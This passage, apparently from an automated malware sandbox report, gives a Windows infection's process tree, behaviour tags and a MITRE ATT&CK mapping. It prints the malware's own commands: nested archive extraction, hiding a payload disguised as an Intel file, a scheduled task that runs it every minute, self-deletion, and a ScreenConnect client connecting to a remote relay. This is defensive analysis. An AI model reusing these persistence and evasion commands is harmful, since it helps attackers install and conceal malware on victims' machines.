        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3268
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1d112825-aac5-4892-a66a-937e7b617ad2} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" gpu
        6⤵
        
        PID:4132
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2468 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2440 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {08c82456-96f0-4877-bd56-440aa8745531} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" socket
        6⤵
        
        PID:3764
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2996 -childID 1 -isForBrowser -prefsHandle 2820 -prefMapHandle 3076 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {47d8ea71-7048-4ad7-b744-7e0a309eafa4} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" tab
        6⤵
        
        PID:1868
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3560 -childID 2 -isForBrowser -prefsHandle 3988 -prefMapHandle 3984 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3359084b-8b20-4ce0-b6ad-cf03a56cc282} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" tab
        6⤵
        
        PID:2648
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4856 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4848 -prefMapHandle 4844 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {835e1d96-525c-4cdd-8e25-7577f08db764} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" utility
        6⤵
        Checks processor information in registry
        
        PID:5816
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5392 -childID 3 -isForBrowser -prefsHandle 5384 -prefMapHandle 5352 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6c21733-043c-4f03-a542-952653f3db32} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" tab
        6⤵
        
        PID:5544
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5536 -childID 4 -isForBrowser -prefsHandle 5544 -prefMapHandle 5080 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {86491d0e-5525-4c00-b55f-8e041973e953} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" tab
        6⤵
        
        PID:5548
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5720 -childID 5 -isForBrowser -prefsHandle 5728 -prefMapHandle 5732 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d8da5a0-1b2a-4d1c-84b9-96dcc172fece} 3268 "\\.\pipe\gecko-crash-server-pipe.3268" tab
        6⤵
        
        PID:5572
- - C:\Users\Admin\AppData\Local\Temp\1015443001\8e7b403317.exe
    "C:\Users\Admin\AppData\Local\Temp\1015443001\8e7b403317.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1176
- - C:\Users\Admin\AppData\Local\Temp\1015444001\cfcc66d57e.exe
    "C:\Users\Admin\AppData\Local\Temp\1015444001\cfcc66d57e.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      PID:6100
    - - C:\Windows\system32\mode.com
        
        mode 65,10
        5⤵
        
        PID:4984
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4792
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5856
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6048
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6080
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5888
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5752
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5216
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2268
    - - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4252
    - - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        5⤵
        Executes dropped EXE
        
        PID:3756
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:3476
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:5596
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5244
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5940
- - C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe
    "C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5656
  - - C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe
      "C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe"
      4⤵
      Executes dropped EXE
      PID:3740
  - - C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe
      "C:\Users\Admin\AppData\Local\Temp\1015445001\3de93ca7d8.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6016
- - C:\Users\Admin\AppData\Local\Temp\1015446001\d7f50a317e.exe
    "C:\Users\Admin\AppData\Local\Temp\1015446001\d7f50a317e.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1015446001\d7f50a317e.exe" & rd /s /q "C:\ProgramData\N7QIMYUSJMYU" & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:4384
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2940 -s 1972
      4⤵
      Program crash
      PID:5884
- - C:\Users\Admin\AppData\Local\Temp\1015447001\273ca88060.exe
    "C:\Users\Admin\AppData\Local\Temp\1015447001\273ca88060.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2636

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EA5817CD569E673CD408A65056152677 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID958.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240638359 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3096
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5408
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4D3DC24F1584F8BB8E4DA882294B02B1
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:6084
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9836C003288F5073D5ACAF8011632A72 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5304

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2108

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2904

C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-cxesop-relay.screenconnect.com&p=443&s=b348b20e-2f54-4d2b-ae1f-bca185297803&k=BgIAAACkAABSU0ExAAgAAAEAAQDx1DHr4t4dt8ezw9lB%2fAZu61lzOgi0vaiVYGdRvGLHe%2fMcvb5Lpv%2fMiRt%2bnJ3tq%2frtseQSQWvbbVdRjxfce31nmMEp%2f1PAVmTl3fwEYA1nCr0dd%2fV%2bMSoMjceavUp0WVj7eRWHA6bNGzYSn5o73ZcILBdRw%2f3jSJ6CgAPJBVMmuv7rFKKZ%2b5N8sdLjxWROqyQbD%2b%2fVYbOCjPSB41oQm%2feZa3S3dqb54HfFBeo03T9ZLnc4oQ65Mabx8v%2bIKhwdH15qLzbe2qCb8palNLn0UxIAV2tlJJHkIQXrYLlVVfpFPJXj118ZgMG7GUqfzoT1k56csyoWsFLZClXlsSLEHGC8"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5332
- C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe" "RunRole" "9c5cb402-6517-4e77-9839-c17a49e36df5" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5632
- C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe" "RunRole" "6e735796-9298-452e-97bf-0006e93fd2ca" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2940 -ip 2940
1⤵
PID:5656

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3196

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2284
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5436
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3428

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5836

C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:3148
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1504
- - C:\Windows\system32\PING.EXE
    "C:\Windows\system32\PING.EXE" 127.1.10.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion